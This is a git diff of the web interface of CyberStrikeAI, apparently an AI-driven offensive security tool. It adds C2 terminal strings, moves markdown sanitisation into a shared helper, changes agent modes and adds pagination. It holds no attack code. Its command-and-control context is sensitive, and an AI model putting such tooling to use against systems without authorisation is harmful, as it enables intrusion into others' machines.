"toastExitSent": "退出指令已发送",
|
||||||
"toastSessionDeleted": "会话记录已删除",
|
"toastSessionDeleted": "会话记录已删除",
|
||||||
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
|
"terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行;↑↓ 历史;Ctrl+L 清屏;Ctrl+C 取消输入",
|
||||||
"termStatusReady": "就绪",
|
"termStatusReady": "就绪",
|
||||||
"termStatusExec": "执行中…",
|
"termStatusExec": "执行中…",
|
||||||
"termStatusErr": "错误",
|
"termStatusErr": "错误",
|
||||||
@@ -2603,6 +2696,9 @@
|
|||||||
"termWaitTimeout": "[等待结果超时]",
|
"termWaitTimeout": "[等待结果超时]",
|
||||||
"termCleared": "终端已清屏",
|
"termCleared": "终端已清屏",
|
||||||
"termNoSelection": "未选中文本",
|
"termNoSelection": "未选中文本",
|
||||||
|
"termWaitFinish": "请等待当前命令执行完成",
|
||||||
|
"termCtrlC": "当前版本暂不支持中断远程命令",
|
||||||
|
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
|
||||||
"clearTerminal": "清屏"
|
"clearTerminal": "清屏"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
@@ -2629,6 +2725,7 @@
|
|||||||
"colTask": "任务",
|
"colTask": "任务",
|
||||||
"colSession": "会话",
|
"colSession": "会话",
|
||||||
"colType": "类型",
|
"colType": "类型",
|
||||||
|
"colCommand": "命令",
|
||||||
"colStatus": "状态",
|
"colStatus": "状态",
|
||||||
"colDuration": "耗时",
|
"colDuration": "耗时",
|
||||||
"colCreated": "创建时间",
|
"colCreated": "创建时间",
|
||||||
@@ -2639,6 +2736,8 @@
|
|||||||
"labelId": "ID",
|
"labelId": "ID",
|
||||||
"labelSession": "会话",
|
"labelSession": "会话",
|
||||||
"labelType": "类型",
|
"labelType": "类型",
|
||||||
|
"labelCommand": "命令",
|
||||||
|
"labelPayload": "参数",
|
||||||
"labelStatus": "状态",
|
"labelStatus": "状态",
|
||||||
"labelCreated": "创建时间",
|
"labelCreated": "创建时间",
|
||||||
"labelSent": "发送时间",
|
"labelSent": "发送时间",
|
||||||
|
|||||||
+6
-41
@@ -343,48 +343,13 @@ function escapeHtml(text) {
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
function formatMarkdown(text) {
|
/** @param {string} text @param {{ profile?: 'chat'|'timeline' }} [options] */
|
||||||
const sanitizeConfig = {
|
function formatMarkdown(text, options) {
|
||||||
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
return window.csMarkdownSanitize.formatMarkdownToHtml(text, options);
|
||||||
ALLOW_DATA_ATTR: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
const raw = text == null ? '' : String(text);
|
|
||||||
const src = typeof window.normalizeAssistantMarkdownSource === 'function'
|
|
||||||
? window.normalizeAssistantMarkdownSource(raw)
|
|
||||||
: raw;
|
|
||||||
|
|
||||||
if (typeof DOMPurify !== 'undefined') {
|
|
||||||
if (typeof marked !== 'undefined' && !/<[a-z][\s\S]*>/i.test(src)) {
|
|
||||||
try {
|
|
||||||
marked.setOptions({
|
|
||||||
breaks: true,
|
|
||||||
gfm: true,
|
|
||||||
});
|
|
||||||
const parsedContent = marked.parse(src, { async: false });
|
|
||||||
return DOMPurify.sanitize(parsedContent, sanitizeConfig);
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Markdown 解析失败:', e);
|
|
||||||
return DOMPurify.sanitize(src, sanitizeConfig);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
return DOMPurify.sanitize(src, sanitizeConfig);
|
|
||||||
}
|
|
||||||
} else if (typeof marked !== 'undefined') {
|
|
||||||
try {
|
|
||||||
marked.setOptions({
|
|
||||||
breaks: true,
|
|
||||||
gfm: true,
|
|
||||||
});
|
|
||||||
return marked.parse(src, { async: false });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Markdown 解析失败:', e);
|
|
||||||
return escapeHtml(src).replace(/\n/g, '<br>');
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
return escapeHtml(src).replace(/\n/g, '<br>');
|
|
||||||
}
|
}
|
||||||
|
const raw = text == null ? '' : String(text);
|
||||||
|
return escapeHtml(raw).replace(/\n/g, '<br>');
|
||||||
}
|
}
|
||||||
|
|
||||||
function setupLoginUI() {
|
function setupLoginUI() {
|
||||||
|
|||||||
+1086
-153
File diff suppressed because it is too large
Load Diff
+265
-157
@@ -38,11 +38,10 @@ function isInterruptContinueInjectChatMessage(content) {
|
|||||||
let chatAttachments = [];
|
let chatAttachments = [];
|
||||||
let chatAttachmentSeq = 0;
|
let chatAttachmentSeq = 0;
|
||||||
|
|
||||||
// 对话模式:react = 原生 ReAct(/agent-loop);eino_single = Eino ADK 单代理(/api/eino-agent/stream);deep / plan_execute / supervisor = Eino 多代理(/api/multi-agent/stream,请求体 orchestration)
|
// 对话模式:eino_single = Eino ADK 单代理(/api/eino-agent/stream);deep / plan_execute / supervisor = Eino 多代理(/api/multi-agent/stream,请求体 orchestration)
|
||||||
const AGENT_MODE_STORAGE_KEY = 'cyberstrike-chat-agent-mode';
|
const AGENT_MODE_STORAGE_KEY = 'cyberstrike-chat-agent-mode';
|
||||||
const REASONING_MODE_LS = 'cyberstrike-chat-reasoning-mode';
|
const REASONING_MODE_LS = 'cyberstrike-chat-reasoning-mode';
|
||||||
const REASONING_EFFORT_LS = 'cyberstrike-chat-reasoning-effort';
|
const REASONING_EFFORT_LS = 'cyberstrike-chat-reasoning-effort';
|
||||||
const CHAT_AGENT_MODE_REACT = 'react';
|
|
||||||
const CHAT_AGENT_MODE_EINO_SINGLE = 'eino_single';
|
const CHAT_AGENT_MODE_EINO_SINGLE = 'eino_single';
|
||||||
const CHAT_AGENT_EINO_MODES = ['deep', 'plan_execute', 'supervisor'];
|
const CHAT_AGENT_EINO_MODES = ['deep', 'plan_execute', 'supervisor'];
|
||||||
let multiAgentAPIEnabled = false;
|
let multiAgentAPIEnabled = false;
|
||||||
@@ -391,19 +390,16 @@ async function applyHitlSidebarConfig() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 将 localStorage / 历史值规范为 react | eino_single | deep | plan_execute | supervisor */
|
/** 将 localStorage 规范为 eino_single | deep | plan_execute | supervisor */
|
||||||
function chatAgentModeNormalizeStored(stored, cfg) {
|
function chatAgentModeNormalizeStored(stored, cfg) {
|
||||||
const pub = cfg && cfg.multi_agent ? cfg.multi_agent : null;
|
const pub = cfg && cfg.multi_agent ? cfg.multi_agent : null;
|
||||||
const multiOn = !!(pub && pub.enabled);
|
const multiOn = !!(pub && pub.enabled);
|
||||||
const defOrch = 'deep';
|
const s = stored;
|
||||||
let s = stored;
|
if (chatAgentModeIsEinoSingle(s)) return s;
|
||||||
if (s === 'single') s = CHAT_AGENT_MODE_REACT;
|
|
||||||
if (s === 'multi') s = defOrch;
|
|
||||||
if (s === CHAT_AGENT_MODE_REACT || chatAgentModeIsEinoSingle(s)) return s;
|
|
||||||
if (chatAgentModeIsEino(s)) {
|
if (chatAgentModeIsEino(s)) {
|
||||||
return multiOn ? s : CHAT_AGENT_MODE_REACT;
|
return multiOn ? s : CHAT_AGENT_MODE_EINO_SINGLE;
|
||||||
}
|
}
|
||||||
return CHAT_AGENT_MODE_REACT;
|
return CHAT_AGENT_MODE_EINO_SINGLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (typeof window !== 'undefined') {
|
if (typeof window !== 'undefined') {
|
||||||
@@ -411,7 +407,6 @@ if (typeof window !== 'undefined') {
|
|||||||
window.csaiChatAgentMode = {
|
window.csaiChatAgentMode = {
|
||||||
EINO_MODES: CHAT_AGENT_EINO_MODES,
|
EINO_MODES: CHAT_AGENT_EINO_MODES,
|
||||||
EINO_SINGLE: CHAT_AGENT_MODE_EINO_SINGLE,
|
EINO_SINGLE: CHAT_AGENT_MODE_EINO_SINGLE,
|
||||||
REACT: CHAT_AGENT_MODE_REACT,
|
|
||||||
isEino: chatAgentModeIsEino,
|
isEino: chatAgentModeIsEino,
|
||||||
isEinoSingle: chatAgentModeIsEinoSingle,
|
isEinoSingle: chatAgentModeIsEinoSingle,
|
||||||
normalizeStored: chatAgentModeNormalizeStored,
|
normalizeStored: chatAgentModeNormalizeStored,
|
||||||
@@ -428,10 +423,28 @@ if (typeof window !== 'undefined') {
|
|||||||
window.updateHitlStatusUI = updateHitlStatusUI;
|
window.updateHitlStatusUI = updateHitlStatusUI;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function syncHitlSidebarAriaExpanded() {
|
||||||
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
|
var toggle = document.getElementById('hitl-sidebar-toggle');
|
||||||
|
if (!card || !toggle) return;
|
||||||
|
toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeHitlSidebarCard() {
|
||||||
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
|
if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
|
||||||
|
card.classList.add('hitl-sidebar-collapsed');
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
|
try {
|
||||||
|
localStorage.setItem('hitl-sidebar-collapsed', '1');
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
|
||||||
function toggleHitlSidebarCard() {
|
function toggleHitlSidebarCard() {
|
||||||
var card = document.getElementById('hitl-sidebar-card');
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
if (!card) return;
|
if (!card) return;
|
||||||
card.classList.toggle('hitl-sidebar-collapsed');
|
card.classList.toggle('hitl-sidebar-collapsed');
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
try {
|
try {
|
||||||
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
|
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
|
||||||
} catch (e) {}
|
} catch (e) {}
|
||||||
@@ -443,13 +456,12 @@ document.addEventListener('DOMContentLoaded', function () {
|
|||||||
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
|
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
|
||||||
card.classList.remove('hitl-sidebar-collapsed');
|
card.classList.remove('hitl-sidebar-collapsed');
|
||||||
}
|
}
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
});
|
});
|
||||||
|
|
||||||
function getAgentModeLabelForValue(mode) {
|
function getAgentModeLabelForValue(mode) {
|
||||||
if (typeof window.t === 'function') {
|
if (typeof window.t === 'function') {
|
||||||
switch (mode) {
|
switch (mode) {
|
||||||
case CHAT_AGENT_MODE_REACT:
|
|
||||||
return window.t('chat.agentModeReactNative');
|
|
||||||
case 'deep':
|
case 'deep':
|
||||||
return window.t('chat.agentModeDeep');
|
return window.t('chat.agentModeDeep');
|
||||||
case 'plan_execute':
|
case 'plan_execute':
|
||||||
@@ -463,7 +475,6 @@ function getAgentModeLabelForValue(mode) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
switch (mode) {
|
switch (mode) {
|
||||||
case CHAT_AGENT_MODE_REACT: return '原生 ReAct';
|
|
||||||
case CHAT_AGENT_MODE_EINO_SINGLE: return 'Eino 单代理';
|
case CHAT_AGENT_MODE_EINO_SINGLE: return 'Eino 单代理';
|
||||||
case 'deep': return 'Deep';
|
case 'deep': return 'Deep';
|
||||||
case 'plan_execute': return 'Plan-Execute';
|
case 'plan_execute': return 'Plan-Execute';
|
||||||
@@ -474,7 +485,6 @@ function getAgentModeLabelForValue(mode) {
|
|||||||
|
|
||||||
function getAgentModeIconForValue(mode) {
|
function getAgentModeIconForValue(mode) {
|
||||||
switch (mode) {
|
switch (mode) {
|
||||||
case CHAT_AGENT_MODE_REACT: return '🤖';
|
|
||||||
case CHAT_AGENT_MODE_EINO_SINGLE: return '⚡';
|
case CHAT_AGENT_MODE_EINO_SINGLE: return '⚡';
|
||||||
case 'deep': return '🧩';
|
case 'deep': return '🧩';
|
||||||
case 'plan_execute': return '📋';
|
case 'plan_execute': return '📋';
|
||||||
@@ -655,7 +665,7 @@ function toggleAgentModePanel() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function selectAgentMode(mode) {
|
function selectAgentMode(mode) {
|
||||||
const ok = mode === CHAT_AGENT_MODE_REACT || chatAgentModeIsEinoSingle(mode) || chatAgentModeIsEino(mode);
|
const ok = chatAgentModeIsEinoSingle(mode) || chatAgentModeIsEino(mode);
|
||||||
if (!ok) return;
|
if (!ok) return;
|
||||||
try {
|
try {
|
||||||
localStorage.setItem(AGENT_MODE_STORAGE_KEY, mode);
|
localStorage.setItem(AGENT_MODE_STORAGE_KEY, mode);
|
||||||
@@ -672,8 +682,8 @@ async function initChatAgentModeFromConfig() {
|
|||||||
// 先展示基础模式,避免首次登录时配置接口短暂失败导致入口被隐藏。
|
// 先展示基础模式,避免首次登录时配置接口短暂失败导致入口被隐藏。
|
||||||
wrap.style.display = '';
|
wrap.style.display = '';
|
||||||
let stored = localStorage.getItem(AGENT_MODE_STORAGE_KEY);
|
let stored = localStorage.getItem(AGENT_MODE_STORAGE_KEY);
|
||||||
if (!(stored === CHAT_AGENT_MODE_REACT || chatAgentModeIsEinoSingle(stored) || chatAgentModeIsEino(stored))) {
|
if (!(chatAgentModeIsEinoSingle(stored) || chatAgentModeIsEino(stored))) {
|
||||||
stored = CHAT_AGENT_MODE_REACT;
|
stored = CHAT_AGENT_MODE_EINO_SINGLE;
|
||||||
}
|
}
|
||||||
sel.value = stored;
|
sel.value = stored;
|
||||||
syncAgentModeFromValue(stored);
|
syncAgentModeFromValue(stored);
|
||||||
@@ -725,7 +735,7 @@ document.addEventListener('languagechange', function () {
|
|||||||
const hid = document.getElementById('agent-mode-select');
|
const hid = document.getElementById('agent-mode-select');
|
||||||
if (!hid) return;
|
if (!hid) return;
|
||||||
const v = hid.value;
|
const v = hid.value;
|
||||||
if (v === CHAT_AGENT_MODE_REACT || chatAgentModeIsEinoSingle(v) || chatAgentModeIsEino(v)) {
|
if (chatAgentModeIsEinoSingle(v) || chatAgentModeIsEino(v)) {
|
||||||
syncAgentModeFromValue(v);
|
syncAgentModeFromValue(v);
|
||||||
}
|
}
|
||||||
if (typeof updateChatReasoningSummary === 'function') {
|
if (typeof updateChatReasoningSummary === 'function') {
|
||||||
@@ -945,10 +955,9 @@ async function sendMessage() {
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
const modeSel = document.getElementById('agent-mode-select');
|
const modeSel = document.getElementById('agent-mode-select');
|
||||||
const modeVal = modeSel ? modeSel.value : CHAT_AGENT_MODE_REACT;
|
let modeVal = modeSel ? modeSel.value : CHAT_AGENT_MODE_EINO_SINGLE;
|
||||||
const useEinoSingle = chatAgentModeIsEinoSingle(modeVal);
|
|
||||||
const useMulti = multiAgentAPIEnabled && chatAgentModeIsEino(modeVal);
|
const useMulti = multiAgentAPIEnabled && chatAgentModeIsEino(modeVal);
|
||||||
const streamPath = useEinoSingle ? '/api/eino-agent/stream' : useMulti ? '/api/multi-agent/stream' : '/api/agent-loop/stream';
|
const streamPath = useMulti ? '/api/multi-agent/stream' : '/api/eino-agent/stream';
|
||||||
if (useMulti && modeVal) {
|
if (useMulti && modeVal) {
|
||||||
body.orchestration = modeVal;
|
body.orchestration = modeVal;
|
||||||
}
|
}
|
||||||
@@ -995,6 +1004,8 @@ async function sendMessage() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
|
||||||
|
buffer += decoder.decode();
|
||||||
|
|
||||||
// 处理剩余的buffer
|
// 处理剩余的buffer
|
||||||
if (buffer.trim()) {
|
if (buffer.trim()) {
|
||||||
@@ -1870,25 +1881,9 @@ function refreshSystemReadyMessageBubbles() {
|
|||||||
div.textContent = s;
|
div.textContent = s;
|
||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
};
|
};
|
||||||
const defaultSanitizeConfig = {
|
|
||||||
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
|
||||||
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
|
||||||
ALLOW_DATA_ATTR: false,
|
|
||||||
};
|
|
||||||
let formattedContent;
|
let formattedContent;
|
||||||
if (typeof marked !== 'undefined') {
|
if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
try {
|
formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(text, { profile: 'chat' });
|
||||||
marked.setOptions({ breaks: true, gfm: true });
|
|
||||||
const src = typeof window.normalizeAssistantMarkdownSource === 'function'
|
|
||||||
? window.normalizeAssistantMarkdownSource(text)
|
|
||||||
: text;
|
|
||||||
const parsed = marked.parse(src, { async: false });
|
|
||||||
formattedContent = typeof DOMPurify !== 'undefined'
|
|
||||||
? DOMPurify.sanitize(parsed, defaultSanitizeConfig)
|
|
||||||
: parsed;
|
|
||||||
} catch (e) {
|
|
||||||
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
|
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
|
||||||
}
|
}
|
||||||
@@ -1944,13 +1939,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
|
|
||||||
// 解析 Markdown 或 HTML 格式
|
// 解析 Markdown 或 HTML 格式
|
||||||
let formattedContent;
|
let formattedContent;
|
||||||
const defaultSanitizeConfig = {
|
|
||||||
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
|
||||||
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
|
||||||
ALLOW_DATA_ATTR: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
// HTML实体编码函数
|
|
||||||
const escapeHtml = (text) => {
|
const escapeHtml = (text) => {
|
||||||
if (!text) return '';
|
if (!text) return '';
|
||||||
const div = document.createElement('div');
|
const div = document.createElement('div');
|
||||||
@@ -1958,31 +1946,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
};
|
};
|
||||||
|
|
||||||
// 注意:代码块内容不需要转义,因为:
|
|
||||||
// 1. Markdown解析后,代码块会被包裹在<code>或<pre>标签中
|
|
||||||
// 2. 浏览器不会执行<code>和<pre>标签内的HTML(它们是文本节点)
|
|
||||||
// 3. DOMPurify会保留这些标签内的文本内容
|
|
||||||
// 这样既能防止XSS,又能正常显示代码
|
|
||||||
|
|
||||||
const parseMarkdown = (raw) => {
|
|
||||||
if (typeof marked === 'undefined') {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
marked.setOptions({
|
|
||||||
breaks: true,
|
|
||||||
gfm: true,
|
|
||||||
});
|
|
||||||
const src = typeof window.normalizeAssistantMarkdownSource === 'function'
|
|
||||||
? window.normalizeAssistantMarkdownSource(raw)
|
|
||||||
: raw;
|
|
||||||
return marked.parse(src, { async: false });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Markdown 解析失败:', e);
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 助手消息中的已知中文错误前缀做国际化替换(后端固定返回中文)
|
// 助手消息中的已知中文错误前缀做国际化替换(后端固定返回中文)
|
||||||
let displayContent = content;
|
let displayContent = content;
|
||||||
if (role === 'assistant' && typeof displayContent === 'string' && typeof window.t === 'function') {
|
if (role === 'assistant' && typeof displayContent === 'string' && typeof window.t === 'function') {
|
||||||
@@ -1997,57 +1960,11 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
// 对于用户消息,直接转义HTML,不进行Markdown解析,以保留所有特殊字符
|
// 对于用户消息,直接转义HTML,不进行Markdown解析,以保留所有特殊字符
|
||||||
if (role === 'user') {
|
if (role === 'user') {
|
||||||
formattedContent = escapeHtml(content).replace(/\n/g, '<br>');
|
formattedContent = escapeHtml(content).replace(/\n/g, '<br>');
|
||||||
} else if (typeof DOMPurify !== 'undefined') {
|
} else if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
// 直接解析Markdown(代码块会被包裹在<code>/<pre>中,DOMPurify会保留其文本内容)
|
formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(
|
||||||
let parsedContent = parseMarkdown(role === 'assistant' ? displayContent : content);
|
role === 'assistant' ? displayContent : content,
|
||||||
if (!parsedContent) {
|
{ profile: 'chat' }
|
||||||
parsedContent = content;
|
);
|
||||||
}
|
|
||||||
|
|
||||||
// 使用DOMPurify清理,只添加必要的URL验证钩子(DOMPurify默认会处理事件处理器等)
|
|
||||||
if (DOMPurify.addHook) {
|
|
||||||
// 移除之前可能存在的钩子
|
|
||||||
try {
|
|
||||||
DOMPurify.removeHook('uponSanitizeAttribute');
|
|
||||||
} catch (e) {
|
|
||||||
// 钩子不存在,忽略
|
|
||||||
}
|
|
||||||
|
|
||||||
// 只验证URL属性,防止危险协议(DOMPurify默认会处理事件处理器、style等)
|
|
||||||
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
|
|
||||||
const attrName = data.attrName.toLowerCase();
|
|
||||||
|
|
||||||
// 只验证URL属性(src, href)
|
|
||||||
if ((attrName === 'src' || attrName === 'href') && data.attrValue) {
|
|
||||||
const value = data.attrValue.trim().toLowerCase();
|
|
||||||
// 禁止危险协议
|
|
||||||
if (value.startsWith('javascript:') ||
|
|
||||||
value.startsWith('vbscript:') ||
|
|
||||||
value.startsWith('data:text/html') ||
|
|
||||||
value.startsWith('data:text/javascript')) {
|
|
||||||
data.keepAttr = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 对于img的src,禁止可疑的短URL(防止404和XSS)
|
|
||||||
if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
|
|
||||||
if (value.length <= 2 || /^[a-z]$/i.test(value)) {
|
|
||||||
data.keepAttr = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
formattedContent = DOMPurify.sanitize(parsedContent, defaultSanitizeConfig);
|
|
||||||
} else if (typeof marked !== 'undefined') {
|
|
||||||
const rawForParse = role === 'assistant' ? displayContent : content;
|
|
||||||
const parsedContent = parseMarkdown(rawForParse);
|
|
||||||
if (parsedContent) {
|
|
||||||
formattedContent = parsedContent;
|
|
||||||
} else {
|
|
||||||
formattedContent = escapeHtml(rawForParse).replace(/\n/g, '<br>');
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
const rawForEscape = role === 'assistant' ? displayContent : content;
|
const rawForEscape = role === 'assistant' ? displayContent : content;
|
||||||
formattedContent = escapeHtml(rawForEscape).replace(/\n/g, '<br>');
|
formattedContent = escapeHtml(rawForEscape).replace(/\n/g, '<br>');
|
||||||
@@ -2055,21 +1972,9 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
|
|
||||||
bubble.innerHTML = formattedContent;
|
bubble.innerHTML = formattedContent;
|
||||||
|
|
||||||
// 最后的安全检查:只处理明显的可疑图片(防止404和XSS)
|
if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
// DOMPurify已经处理了大部分XSS向量,这里只做必要的补充
|
window.csMarkdownSanitize.stripSuspiciousImages(bubble);
|
||||||
const images = bubble.querySelectorAll('img');
|
}
|
||||||
images.forEach(img => {
|
|
||||||
const src = img.getAttribute('src');
|
|
||||||
if (src) {
|
|
||||||
const trimmedSrc = src.trim();
|
|
||||||
// 只检查明显的可疑URL(短字符串、单个字符)
|
|
||||||
if (trimmedSrc.length <= 2 || /^[a-z]$/i.test(trimmedSrc)) {
|
|
||||||
img.remove();
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
img.remove();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 为每个表格添加独立的滚动容器
|
// 为每个表格添加独立的滚动容器
|
||||||
wrapTablesInBubble(bubble);
|
wrapTablesInBubble(bubble);
|
||||||
@@ -3034,6 +2939,8 @@ function createConversationListItem(conversation) {
|
|||||||
// 处理历史记录搜索
|
// 处理历史记录搜索
|
||||||
let conversationSearchTimer = null;
|
let conversationSearchTimer = null;
|
||||||
function handleConversationSearch(query) {
|
function handleConversationSearch(query) {
|
||||||
|
conversationsPagination.page = 1;
|
||||||
|
conversationsSearchQuery = query || '';
|
||||||
// 防抖处理,避免频繁请求
|
// 防抖处理,避免频繁请求
|
||||||
if (conversationSearchTimer) {
|
if (conversationSearchTimer) {
|
||||||
clearTimeout(conversationSearchTimer);
|
clearTimeout(conversationSearchTimer);
|
||||||
@@ -3067,6 +2974,8 @@ function clearConversationSearch() {
|
|||||||
clearBtn.style.display = 'none';
|
clearBtn.style.display = 'none';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
conversationsPagination.page = 1;
|
||||||
|
conversationsSearchQuery = '';
|
||||||
loadConversations('');
|
loadConversations('');
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -3503,6 +3412,21 @@ async function deleteConversation(conversationId, skipConfirm = false) {
|
|||||||
} else if (typeof loadConversations === 'function') {
|
} else if (typeof loadConversations === 'function') {
|
||||||
loadConversations();
|
loadConversations();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 批量管理弹窗打开时,同步刷新弹窗内列表
|
||||||
|
const batchModal = document.getElementById('batch-manage-modal');
|
||||||
|
if (batchModal && batchModal.style.display === 'flex') {
|
||||||
|
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
|
||||||
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
|
const searchInput = document.getElementById('batch-search-input');
|
||||||
|
const query = searchInput ? searchInput.value : '';
|
||||||
|
if (query && query.trim()) {
|
||||||
|
filterBatchConversations(query);
|
||||||
|
} else {
|
||||||
|
renderBatchConversations();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致
|
// 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致
|
||||||
try {
|
try {
|
||||||
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
|
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
|
||||||
@@ -5703,6 +5627,168 @@ let groupsCache = [];
|
|||||||
let conversationGroupMappingCache = {};
|
let conversationGroupMappingCache = {};
|
||||||
let pendingGroupMappings = {}; // 待保留的分组映射(用于处理后端API延迟的情况)
|
let pendingGroupMappings = {}; // 待保留的分组映射(用于处理后端API延迟的情况)
|
||||||
let conversationsListLoadSeq = 0; // 对话列表加载序号,避免并发请求导致重复渲染
|
let conversationsListLoadSeq = 0; // 对话列表加载序号,避免并发请求导致重复渲染
|
||||||
|
const CONVERSATIONS_PAGE_SIZE_KEY = 'cyberstrike.conversations_page_size';
|
||||||
|
|
||||||
|
function getConversationsPageSize() {
|
||||||
|
try {
|
||||||
|
const saved = parseInt(localStorage.getItem(CONVERSATIONS_PAGE_SIZE_KEY), 10);
|
||||||
|
if ([20, 50, 100].includes(saved)) return saved;
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
return 50;
|
||||||
|
}
|
||||||
|
|
||||||
|
let conversationsPagination = { page: 1, pageSize: getConversationsPageSize(), total: 0 };
|
||||||
|
let conversationsSearchQuery = '';
|
||||||
|
|
||||||
|
function parseListTotalValue(raw, itemsLength) {
|
||||||
|
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
|
||||||
|
if (raw != null && raw !== '') {
|
||||||
|
const n = parseInt(String(raw), 10);
|
||||||
|
if (Number.isFinite(n) && n >= 0) return n;
|
||||||
|
}
|
||||||
|
return itemsLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
function parseListOffsetValue(raw) {
|
||||||
|
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
|
||||||
|
if (raw != null && raw !== '') {
|
||||||
|
const n = parseInt(String(raw), 10);
|
||||||
|
if (Number.isFinite(n) && n >= 0) return n;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function parseConversationsListResponse(data) {
|
||||||
|
if (Array.isArray(data)) {
|
||||||
|
return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
|
||||||
|
}
|
||||||
|
const items = data.conversations || data.items || [];
|
||||||
|
const arr = Array.isArray(items) ? items : [];
|
||||||
|
return {
|
||||||
|
items: arr,
|
||||||
|
total: parseListTotalValue(data.total, arr.length),
|
||||||
|
limit: parseListTotalValue(data.limit, arr.length) || arr.length,
|
||||||
|
